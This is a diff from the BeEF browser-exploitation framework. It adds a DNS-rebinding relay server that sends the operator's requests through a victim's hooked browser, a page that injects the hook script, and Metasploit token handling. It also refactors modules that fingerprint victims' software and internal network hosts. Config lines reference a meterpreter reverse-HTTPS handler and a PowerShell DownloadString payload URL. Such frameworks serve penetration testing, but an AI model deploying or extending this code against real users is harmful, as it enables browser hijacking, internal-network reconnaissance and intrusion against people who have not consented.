log http_message['start_string'].to_s+"\n"
|
||||
|
||||
if http_message['start_string'].include?("POST")
|
||||
#Get result from POST query
|
||||
log "[Victim]Get the result of last query\n"
|
||||
|
||||
#Read query on which asked victim
|
||||
query = http_message['start_string'][/path=([^HTTP]+)/,1][0..-2]
|
||||
log "[Victim]asked path: "+query+"\n"
|
||||
|
||||
length = http_message['headers']['Content-Length'].to_i
|
||||
content_type = http_message['headers']['Content-Type']
|
||||
log "[Victim]Content-type: "+content_type.to_s+"\n"
|
||||
log "[Vicitm]Length: "+length.to_s+"\n"
|
||||
|
||||
response = http_message['response']
|
||||
log "[Victim]Get content!\n"
|
||||
|
||||
send_http_response(socket, "ok")
|
||||
socket.close
|
||||
|
||||
log "[Victim]Close connection POST\n"
|
||||
log "--------------------------------\n"
|
||||
|
||||
@mutex_responses.lock
|
||||
@responses[query] = [content_type, response]
|
||||
@mutex_responses.unlock
|
||||
elsif http_message['start_string'].include?("OPTIONS")
|
||||
send_http_response(socket, "")
|
||||
socket.close
|
||||
log "[Victim]Respond on OPTIONS reques\n"
|
||||
log "--------------------------------\n"
|
||||
else
|
||||
#Look for queues from beef owner
|
||||
log "[Victim]Waiting for next query..\n"
|
||||
while @queries.size == 0
|
||||
end
|
||||
|
||||
#Get the last query
|
||||
@mutex_queries.lock
|
||||
log "[Victim]Get the last query\n"
|
||||
last_query = @queries.pop
|
||||
log "[Victim]Last query:"+last_query.to_s+"\n"
|
||||
@mutex_queries.unlock
|
||||
|
||||
response = last_query[2]
|
||||
send_http_response(socket, response, {'method'=>last_query[0], 'path'=>last_query[1]})
|
||||
log "[Victim]Send next query to victim's browser\n"
|
||||
log "---------------------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
end
|
||||
|
||||
#Handle request from BeEF owner
|
||||
def self.handle_owner(socket, http_message)
|
||||
log "[Owner]Request from owner\n"
|
||||
path = http_message['start_string'][/(\/[^HTTP]+)/, 1][0..-2]
|
||||
|
||||
if http_message['start_string'].include?("GET")
|
||||
if path != nil
|
||||
log "[Owner]Need path: "+path+"\n"
|
||||
@queries.push(['GET', path, ''])
|
||||
end
|
||||
elsif http_message['start_string'].include?("POST")
|
||||
log "[Owner]Get POST request\n"
|
||||
if path != nil
|
||||
@queries.push(['POST', path, http_message['response']])
|
||||
end
|
||||
end
|
||||
|
||||
#Waiting for response, this check should not conflict with thread 2
|
||||
while @responses[path] == nil
|
||||
end
|
||||
|
||||
@mutex_responses.lock
|
||||
log "[Owner]Get the response\n"
|
||||
response_a = @responses[path]
|
||||
@mutex_responses.unlock
|
||||
|
||||
response = response_a[1]
|
||||
content_type = response_a[0]
|
||||
|
||||
send_http_response(socket, response, {'Content-Type'=>content_type})
|
||||
|
||||
log "[Owner]Send response to owner\n"
|
||||
log "-------------------------------\n"
|
||||
socket.close
|
||||
end
|
||||
|
||||
def self.run_server(address, port)
|
||||
@server = TCPServer.new(address, port)
|
||||
@mutex_responses = Mutex.new
|
||||
@mutex_queries = Mutex.new
|
||||
@debug_mode = BeEF::Core::Configuration.instance.get("beef.extension.dns_rebinding.debug_mode")
|
||||
loop do
|
||||
s = @server.accept
|
||||
Thread.new(s) do |socket|
|
||||
http_message = read_http_message(socket)
|
||||
if http_message['start_string'].include?("from_victim")
|
||||
handle_victim(socket, http_message)
|
||||
else
|
||||
handle_owner(socket, http_message)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
16
extensions/dns_rebinding/extension.rb
Normal file
16
extensions/dns_rebinding/extension.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module DNSRebinding
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'DNS Rebinding'
|
||||
@full_name = 'DNS Rebinding'
|
||||
@description = 'DNS Rebinding extension'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/dns_rebinding/api.rb'
|
||||
require 'extensions/dns_rebinding/dns_rebinding.rb'
|
||||
8
extensions/dns_rebinding/views/index.html
Normal file
8
extensions/dns_rebinding/views/index.html
Normal file
@@ -0,0 +1,8 @@
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="path_to_hookjs_template" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
</html>
|
||||
@@ -21,7 +21,6 @@ module Metasploit
|
||||
BeEF::Core::Configuration.instance.set('beef.extension.metasploit.loaded', false)
|
||||
return nil
|
||||
end
|
||||
|
||||
@lock = false
|
||||
@lastauth = nil
|
||||
@unit_test = false
|
||||
@@ -116,25 +115,41 @@ module Metasploit
|
||||
def unit_test_init
|
||||
@unit_test = true
|
||||
end
|
||||
# login into metasploit
|
||||
# login to metasploit
|
||||
def login
|
||||
get_lock()
|
||||
|
||||
res = super(@config['user'] , @config['pass'])
|
||||
|
||||
if not res
|
||||
release_lock()
|
||||
print_error 'Could not authenticate to Metasploit xmlrpc.'
|
||||
print_error 'Could not authenticate to Metasploit MSGRPC.'
|
||||
return false
|
||||
end
|
||||
|
||||
print_info 'Successful connection with Metasploit.' if (!@lastauth && !@unit_test)
|
||||
|
||||
if (!@lastauth)
|
||||
print_info 'Successful connection with Metasploit.' if (!@unit_test)
|
||||
print_debug "Metasploit: Received temporary token: #{self.token}"
|
||||
# Generate permanent token
|
||||
new_token = token_generate
|
||||
if new_token.nil?
|
||||
print_warning "Metasploit: Could not retrieve permanent Metasploit token. Connection to Metasploit will time out in 5 minutes."
|
||||
else
|
||||
self.token = new_token
|
||||
print_debug "Metasploit: Received permanent token: #{self.token}"
|
||||
end
|
||||
end
|
||||
@lastauth = Time.now
|
||||
|
||||
release_lock()
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
# generate a permanent auth token
|
||||
def token_generate
|
||||
res = self.call('auth.token_generate')
|
||||
return if not res or not res['token']
|
||||
res['token']
|
||||
end
|
||||
|
||||
def browser_exploits()
|
||||
|
||||
get_lock()
|
||||
|
||||
@@ -24,6 +24,43 @@ module BeEF
|
||||
property :mac, String, :lazy => false
|
||||
property :cid, String, :lazy => false # command id or 'init'
|
||||
|
||||
#
|
||||
# Stores a network host in the data store
|
||||
#
|
||||
def self.add(host={})
|
||||
(print_error "Invalid hooked browser session"; return) unless BeEF::Filters.is_valid_hook_session_id?(host[:hooked_browser_id])
|
||||
(print_error "Invalid IP address"; return) unless BeEF::Filters.is_valid_ip?(host[:ip])
|
||||
|
||||
# prevent duplicates
|
||||
return unless BeEF::Core::Models::NetworkHost.all(
|
||||
:hooked_browser_id => host[:hooked_browser_id],
|
||||
:ip => host[:ip],
|
||||
:hostname => host[:hostname],
|
||||
:type => host[:type],
|
||||
:os => host[:os],
|
||||
:mac => host[:mac]).empty?
|
||||
|
||||
if host[:hostname].nil? && host[:type].nil? && host[:os].nil? && host[:mac].nil?
|
||||
return unless BeEF::Core::Models::NetworkHost.all(
|
||||
:hooked_browser_id => host[:hooked_browser_id],
|
||||
:ip => host[:ip]).empty?
|
||||
end
|
||||
|
||||
# store the returned network host details
|
||||
network_host = BeEF::Core::Models::NetworkHost.new(
|
||||
:hooked_browser_id => host[:hooked_browser_id],
|
||||
:ip => host[:ip],
|
||||
:hostname => host[:hostname],
|
||||
:type => host[:type],
|
||||
:os => host[:os],
|
||||
:mac => host[:mac],
|
||||
:cid => host[:cid])
|
||||
result = network_host.save
|
||||
(print_error "Failed to save network host"; return) if result.nil?
|
||||
|
||||
network_host
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -23,6 +23,42 @@ module BeEF
|
||||
property :type, String, :lazy => false
|
||||
property :cid, String, :lazy => false # command id or 'init'
|
||||
|
||||
#
|
||||
# Stores a network service in the data store
|
||||
#
|
||||
def self.add(service={})
|
||||
(print_error "Invalid hooked browser session"; return) if not BeEF::Filters.is_valid_hook_session_id?(service[:hooked_browser_id])
|
||||
(print_error "Invalid IP address"; return) if not BeEF::Filters.is_valid_ip?(service[:ip])
|
||||
(print_error "Invalid port"; return) if not BeEF::Filters.is_valid_port?(service[:port])
|
||||
|
||||
# store the returned network host details
|
||||
BeEF::Core::Models::NetworkHost.add(
|
||||
:hooked_browser_id => service[:hooked_browser_id],
|
||||
:ip => service[:ip],
|
||||
:cid => service[:cid])
|
||||
|
||||
# prevent duplicates
|
||||
return unless BeEF::Core::Models::NetworkService.all(
|
||||
:hooked_browser_id => service[:hooked_browser_id],
|
||||
:proto => service[:proto],
|
||||
:ip => service[:ip],
|
||||
:port => service[:port],
|
||||
:type => service[:type]).empty?
|
||||
|
||||
# store the returned network service details
|
||||
network_service = BeEF::Core::Models::NetworkService.new(
|
||||
:hooked_browser_id => service[:hooked_browser_id],
|
||||
:proto => service[:proto],
|
||||
:ip => service[:ip],
|
||||
:port => service[:port],
|
||||
:type => service[:type],
|
||||
:cid => service[:cid])
|
||||
result = network_service.save
|
||||
(print_error "Failed to save network service"; return) if result.nil?
|
||||
|
||||
network_service
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -29,7 +29,7 @@ module BeEF
|
||||
# Returns the entire list of network hosts for all zombies
|
||||
get '/hosts' do
|
||||
begin
|
||||
hosts = @nh.all
|
||||
hosts = @nh.all(:unique => true, :order => [:id.asc])
|
||||
count = hosts.length
|
||||
|
||||
result = {}
|
||||
@@ -45,7 +45,7 @@ module BeEF
|
||||
# Returns the entire list of network services for all zombies
|
||||
get '/services' do
|
||||
begin
|
||||
services = @ns.all
|
||||
services = @ns.all(:unique => true, :order => [:id.asc])
|
||||
count = services.length
|
||||
|
||||
result = {}
|
||||
@@ -63,7 +63,7 @@ module BeEF
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
hosts = @nh.all(:hooked_browser_id => id)
|
||||
hosts = @nh.all(:hooked_browser_id => id, :unique => true, :order => [:id.asc])
|
||||
count = hosts.length
|
||||
|
||||
result = {}
|
||||
@@ -84,7 +84,7 @@ module BeEF
|
||||
begin
|
||||
id = params[:id]
|
||||
|
||||
services = @ns.all(:hooked_browser_id => id)
|
||||
services = @ns.all(:hooked_browser_id => id, :unique => true, :order => [:id.asc])
|
||||
count = services.length
|
||||
|
||||
result = {}
|
||||
|
||||
@@ -13,6 +13,7 @@ beef:
|
||||
# NOTE: you must have 'wget' in your PATH
|
||||
add_beef_hook: true
|
||||
user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2"
|
||||
verify_ssl: true
|
||||
mass_mailer:
|
||||
# NOTE: you must have 'file' in your PATH
|
||||
user_agent: "Microsoft-MacOutlook/12.12.0.111556"
|
||||
@@ -20,6 +21,7 @@ beef:
|
||||
port: 587
|
||||
use_auth: true
|
||||
use_tls: true
|
||||
verify_ssl: true
|
||||
helo: "gmail.com" # this is usually the domain name
|
||||
auth: "youruser@gmail.com"
|
||||
password: "yourpass"
|
||||
@@ -50,4 +52,4 @@ beef:
|
||||
# the default payload being used is windows/meterpreter/reverse_https
|
||||
msf_reverse_handler_host: "172.16.45.1"
|
||||
msf_reverse_handler_port: "443"
|
||||
powershell_handler_url: "/ps"
|
||||
powershell_handler_url: "/ps"
|
||||
|
||||
@@ -31,7 +31,9 @@ module BeEF
|
||||
# create new SSL context and disable CA chain validation
|
||||
if @config.get("#{@config_prefix}.use_tls")
|
||||
@ctx = OpenSSL::SSL::SSLContext.new
|
||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||
if not @config.get("#{@config_prefix}.verify_ssl")
|
||||
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
|
||||
end
|
||||
@ctx.ssl_version = "TLSv1"
|
||||
end
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ module BeEF
|
||||
# Change the default payload URL (DownloadString('http://172.16.37.1/ps/ps.png'))) with your BeEF server and powershell URL settings.
|
||||
# By default powershell will be served from http://beef_server:beef_port/ps/ps.png
|
||||
#
|
||||
# NOTE: make sure you change the 'host' variable in the main BeEF config.yaml from 0.0.0.0 to the specific IP where BeEF is binded to,
|
||||
# NOTE: make sure you change the 'beef.http.public' variable in the main BeEF config.yaml to the specific IP where BeEF is binded to,
|
||||
# and also the powershell-related variable in extensions/social_engineering/config.yaml
|
||||
class Bind_powershell < BeEF::Core::Router::Router
|
||||
before do
|
||||
@@ -59,4 +59,4 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -61,6 +61,7 @@ module BeEF
|
||||
result = {
|
||||
"success" => false
|
||||
}.to_json
|
||||
halt 500
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -15,7 +15,9 @@ module BeEF
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
|
||||
beef_proto = @config.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
@beef_hook = "#{beef_proto}://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
|
||||
beef_host = @config.get("beef.http.public") || @config.get("beef.http.host")
|
||||
beef_port = @config.get("beef.http.public_port") || @config.get("beef.http.port")
|
||||
@beef_hook = "#{beef_proto}://#{beef_host}:#{beef_port}#{@config.get('beef.http.hook_file')}"
|
||||
end
|
||||
|
||||
def clone_page(url, mount, use_existing, dns_spoof)
|
||||
@@ -37,12 +39,18 @@ module BeEF
|
||||
#
|
||||
if use_existing.nil? || use_existing == false
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", "--no-check-certificate"], 'r+') do |wget_io|
|
||||
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3']
|
||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
cmd << "--no-check-certificate"
|
||||
end
|
||||
print_debug "Running command: #{cmd.join(' ')}"
|
||||
IO.popen(cmd, 'r+') do |wget_io|
|
||||
end
|
||||
success = true
|
||||
rescue Errno::ENOENT => e
|
||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||
rescue => e
|
||||
print_error "Errors executing wget: #{e}"
|
||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||
end
|
||||
|
||||
if success
|
||||
@@ -167,7 +175,9 @@ module BeEF
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
end
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
response = http.request(request)
|
||||
|
||||
@@ -85,7 +85,7 @@ module BeEF
|
||||
}
|
||||
}
|
||||
if (peerid == null) {
|
||||
console.log('received a peer message, but, we are already setup?');
|
||||
beef.debug('received a peer message, but, we are already setup?');
|
||||
} else {
|
||||
beefrtcs[peerid].processMessage(
|
||||
JSON.stringify(#{output})
|
||||
|
||||
@@ -9,6 +9,6 @@ beef:
|
||||
name: 'WebRTC'
|
||||
enable: false
|
||||
authors: ["xntrik"]
|
||||
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]'
|
||||
stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
|
||||
# stunservers: '["stun:stun.l.google.com:19302"]'
|
||||
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
|
||||
turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
|
||||
|
||||
@@ -152,7 +152,7 @@ module BeEF
|
||||
# +++ Example with curl +++
|
||||
# curl -H "Content-type: application/json; charset=UTF-8" -v
|
||||
# -X POST -d '{"from":1,"to":2,"message":"Just a plain message"}'
|
||||
# http://127.0.0.1:3000/api/webrtc/go\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
# http://127.0.0.1:3000/api/webrtc/msg\?token\=df67654b03d030d97018f85f0284247d7f49c348
|
||||
#
|
||||
# Available client-side "message" options and handling:
|
||||
# !gostealth - will put the <to> browser into a stealth mode
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
Copyright (c) 2013 Niklas von Hertzen (@niklasvh)
|
||||
|
||||
Released under MIT License
|
||||
Modified for BeEF <http://beefproject.com>
|
||||
*/
|
||||
(function(window, document, undefined){
|
||||
|
||||
@@ -15,7 +16,7 @@ html2canvas;
|
||||
|
||||
function h2clog(a) {
|
||||
if (_html2canvas.logging && window.console && window.console.log) {
|
||||
window.console.log(a);
|
||||
beef.debug(a);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2801,7 +2802,7 @@ _html2canvas.Renderer.Canvas = function(options) {
|
||||
if (storageContext.clip){
|
||||
ctx.save();
|
||||
ctx.beginPath();
|
||||
// console.log(storageContext);
|
||||
// beef.debug(storageContext);
|
||||
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
|
||||
ctx.clip();
|
||||
}
|
||||
@@ -2838,4 +2839,4 @@ _html2canvas.Renderer.Canvas = function(options) {
|
||||
return canvas;
|
||||
};
|
||||
};
|
||||
})(window,document);
|
||||
})(window,document);
|
||||
|
||||
@@ -31,10 +31,8 @@ class Asus_rt_series_get_info < BeEF::Core::Command
|
||||
|
||||
if !ip.nil? && BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found Asus RT series router [ip: #{ip}]")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :type => 'Asus Router', :cid => cid)
|
||||
r.save
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => 80, :type => 'HTTP Server', :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :type => 'Asus Router', :cid => cid)
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => 80, :type => 'HTTP Server', :cid => cid)
|
||||
end
|
||||
clients.scan(/([\d\.]+,[:\dA-F]{17})/).flatten.each do |client|
|
||||
next if client.nil?
|
||||
@@ -43,22 +41,19 @@ class Asus_rt_series_get_info < BeEF::Core::Command
|
||||
mac = $2
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found router client [ip: #{ip}, mac: #{mac}]")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :mac => mac, :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :mac => mac, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
if !gateway.nil? && BeEF::Filters.is_valid_ip?(gateway)
|
||||
print_debug("Hooked browser found WAN gateway server [ip: #{gateway}]")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => gateway, :type => 'WAN Gateway', :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => gateway, :type => 'WAN Gateway', :cid => cid)
|
||||
end
|
||||
if !dns_servers.nil? && dns_servers =~ /^([\d\. ]+)$/
|
||||
dns_servers.split(/ /).uniq.each do |dns|
|
||||
if BeEF::Filters.is_valid_ip?(dns)
|
||||
print_debug("Hooked browser found DNS server [ip: #{dns}]")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => dns, :type => 'DNS Server', :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => dns, :type => 'DNS Server', :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
25
modules/host/detect_airdrone/command.js
Normal file
25
modules/host/detect_airdrone/command.js
Normal file
@@ -0,0 +1,25 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var result = "Not Installed";
|
||||
var dom = document.createElement('b');
|
||||
var img = new Image;
|
||||
img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";
|
||||
img.onload = function() {
|
||||
if (this.width == 146 && this.height == 176) result = "Installed";
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdrone='+result);
|
||||
dom.removeChild(this);
|
||||
}
|
||||
img.onerror = function() {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdrone='+result);
|
||||
dom.removeChild(this);
|
||||
}
|
||||
dom.appendChild(img);
|
||||
|
||||
});
|
||||
|
||||
20
modules/host/detect_airdrone/config.yaml
Normal file
20
modules/host/detect_airdrone/config.yaml
Normal file
@@ -0,0 +1,20 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
detect_airdrone:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Detect Airdrone"
|
||||
description: "This module attempts to detect Airdrone on localhost (default port: 8888)"
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working:
|
||||
ALL:
|
||||
os: ["Android"]
|
||||
not_working:
|
||||
ALL:
|
||||
os: ["All"]
|
||||
36
modules/host/detect_airdrone/module.rb
Normal file
36
modules/host/detect_airdrone/module.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
class Detect_airdrone < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'ipHost', 'ui_label' => 'IP or Hostname', 'value' => '127.0.0.1'},
|
||||
{'name' => 'port' , 'ui_label' => 'Port', 'value' => '8888'}
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
save({'airdrone' => @datastore['airdrone']})
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if configuration.get("beef.extension.network.enable") == true
|
||||
if @datastore['results'] =~ /^proto=(https?)&ip=([\d\.]+)&port=([\d]+)&airdrone=Installed$/
|
||||
proto = $1
|
||||
ip = $2
|
||||
port = $3
|
||||
session_id = @datastore['beefhook']
|
||||
type = 'Airdrone'
|
||||
cid = @datastore['cid'].to_i
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found 'Airdrone' [proto: #{proto}, ip: #{ip}, port: #{port}]")
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -25,14 +25,9 @@ class Detect_cups < BeEF::Core::Command
|
||||
session_id = @datastore['beefhook']
|
||||
type = 'CUPS'
|
||||
cid = @datastore['cid'].to_i
|
||||
if BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type).empty?
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser found 'CUPS' [proto: #{proto}, ip: #{ip}, port: #{port}]")
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
|
||||
r.save
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
BeEF::Core::Models::NetworkService.add(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -86,8 +86,11 @@ beef.execute(function() {
|
||||
new Array("Immunity Debugger", "Immunity Inc\\Immunity Debugger\\ImmunityDebugger.exe/2/GOTO"),
|
||||
new Array("Java JRE 1.7", "Java\\jre7\\bin\\awt.dll/2/CHECK_BITMAP"),
|
||||
//new Array("Microsoft Silverlight v5.1.30514.0", "Microsoft Silverlight\\5.1.30514.0\\npctrl.dll/2/102"),
|
||||
new Array("SQL Server Management Studio", "Microsoft SQL Server\\100\\Tools\\Binn\\VSShell\\Common7\\IDE\\Ssms.exe/2/124"),
|
||||
new Array("VMware Tools", "VMware\\VMware Tools\\TPVCGatewaydeu.dll/2/30994"),
|
||||
new Array("Notepad++", "Notepad++\\uninstall.exe/2/110"),
|
||||
new Array("FortiClient", "Fortinet\\FortiClient\\FortiClient.exe/2/186"),
|
||||
new Array("Cisco AnyConnect Secure Mobility Client", "Cisco\\Cisco AnyConnect Secure Mobility Client\\vpncommon.dll/2/30996"),
|
||||
new Array("OpenVPN", "OpenVPN\\Uninstall.exe/2/110"),
|
||||
new Array("Sophos Client Firewall", "Sophos\\Sophos Client Firewall\\logo_rc.dll/2/114"),
|
||||
new Array("VLC", "VideoLAN\\VLC\\npvlc.dll/2/3"),
|
||||
|
||||
@@ -30,10 +30,9 @@ class Get_internal_ip < BeEF::Core::Command
|
||||
# save the network host
|
||||
if @datastore['results'] =~ /^([\d\.]+)$/
|
||||
ip = $1
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
print_debug("Hooked browser has network interface #{ip}")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -12,10 +12,8 @@ class Get_internal_ip_webrtc < BeEF::Core::Command
|
||||
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
if configuration.get("beef.extension.network.enable") == true
|
||||
|
||||
session_id = @datastore['beefhook']
|
||||
cid = @datastore['cid'].to_i
|
||||
|
||||
# save the network host
|
||||
if @datastore['results'] =~ /IP is ([\d\.,]+)/
|
||||
ips = $1.to_s.split(/,/)
|
||||
@@ -25,16 +23,12 @@ class Get_internal_ip_webrtc < BeEF::Core::Command
|
||||
next unless ip =~ /^[\d\.]+$/
|
||||
next if ip =~ /^0\.0\.0\.0$/
|
||||
next unless BeEF::Filters.is_valid_ip?(ip)
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty? # prevent duplicates
|
||||
print_debug("Hooked browser has network interface #{ip}")
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :os => os, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
print_debug("Hooked browser has network interface #{ip}")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => ip, :os => os, :cid => cid)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -6,8 +6,8 @@
|
||||
class F5_bigip_cookie_disclosure < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
return if @datastore['result'].nil?
|
||||
save({'BigIPCookie' => @datastore['BigIPCookie']})
|
||||
return if @datastore['results'].nil?
|
||||
save({'BigIPCookie' => @datastore['results']})
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -22,14 +22,9 @@ class Cross_origin_scanner < BeEF::Core::Command
|
||||
port = $2
|
||||
proto = 'http'
|
||||
type = 'HTTP Server (CORS)'
|
||||
print_debug("Hooked browser found HTTP server #{ip}:#{port}")
|
||||
if !ip.nil? && !port.nil? && BeEF::Filters.is_valid_ip?(ip) && BeEF::Core::Models::NetworkService.all(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type).empty?
|
||||
r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => type, :cid => cid)
|
||||
r.save
|
||||
if BeEF::Core::Models::NetworkHost.all(:hooked_browser_id => session_id, :ip => ip).empty?
|
||||
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid)
|
||||
r.save
|
||||
end
|
||||
if BeEF::Filters.is_valid_ip?(ip)
|
||||
